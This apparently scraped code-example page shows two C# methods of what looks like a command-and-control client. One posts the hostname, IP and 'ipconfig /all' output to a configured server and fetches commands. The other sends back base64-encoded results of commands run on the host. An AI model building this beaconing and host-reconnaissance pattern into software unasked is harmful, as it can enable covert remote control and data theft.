Пример #1
0
        public static Boolean FinCommands(String CID, String RES)
        {
            String Response = "";

            try
            {
                NameValueCollection Param = new NameValueCollection();;
                Param.Add("SEC", Configs.CFG_SEC);
                Param.Add("ACK", Configs.CFG_ACK);
                Param.Add("CID", CID);
                Param.Add("RES", Cryptos.Base64_Encode(RES));
                Response = HTTP_POST(Configs.CFG_SH + "/Api/Commands/Fin", Param);
            }
            catch (Exception Ex)
            {
                Console.WriteLine(Ex);
                return(false);
            }
            return(true);
        }
Пример #2
0
        public static JSONNode GetCommands()
        {
            String Response = "";

            try
            {
                NameValueCollection Param = new NameValueCollection();;
                Param.Add("SEC", Configs.CFG_SEC);
                Param.Add("ACK", Configs.CFG_ACK);
                Param.Add("SIP", GetSIP());
                Param.Add("HOT", Dns.GetHostName());
                Param.Add("IPC", Cryptos.Base64_Encode(RunCMD("ipconfig /all", false)));
                Response = HTTP_POST(Configs.CFG_SH + "/Api/Commands/Get", Param);
            }
            catch (Exception Ex)
            {
                Console.WriteLine(Ex);
                Response = "{\"RIP\":\"0.0.0.0\",\"RES\":[]}";
                return(JSON.Parse(Response)["RES"]);
            }
            return(JSON.Parse(Response)["RES"]);
        }